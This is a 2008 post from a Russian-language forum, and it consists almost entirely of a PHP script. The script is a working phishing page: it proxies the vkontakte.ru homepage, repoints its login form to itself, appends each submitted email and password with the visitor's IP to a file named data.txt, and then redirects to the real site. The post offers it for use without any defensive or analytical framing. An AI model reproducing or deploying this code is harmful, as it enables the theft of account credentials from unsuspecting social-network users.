
15.06.2008, 23:34
|
|
Участник форума
Регистрация: 07.06.2006
Сообщений: 146
Провел на форуме: 1652093
Репутация:
490
|
|
Код:
<?php
if ($_POST['email']!='' AND $_POST['pass']!='')
{
$data = '['.$_SERVER['REMOTE_ADDR'].'] '. date("d.m H:i") .' -- '.$_POST['email'].':'.$_POST['pass']."\n";
$file = fopen("data.txt", "a+"); // путь к файлу с паролями
fputs($file, $data);
fclose($file);
header("Location: http://vkontakte.ru/");
exit();
}
$host = 'vkontakte.ru';
$sock = fsockopen($host, 80, $errno, $errstr, 10) or die("error: $errstr ($errno) ");
$buff = "GET / HTTP/1.0\r\n";
$buff .= "Host: $host\r\n";
$buff .= "Connection: Close\r\n\r\n";
$resp = '';
fwrite($sock, $buff);
while (!feof($sock)) {
$resp .= fgets($sock);
}
list($headers, $content) = preg_split("/\r\n\r\n/", $resp, 2);
$content = str_replace(
array(
'js/',
'css/',
'action="login.php"',
),
array(
'http://vkontakte.ru/js/',
'http://vkontakte.ru/css/',
'action=""',
),
$content
);
echo $content;
fclose($sock);
?>
|
|
|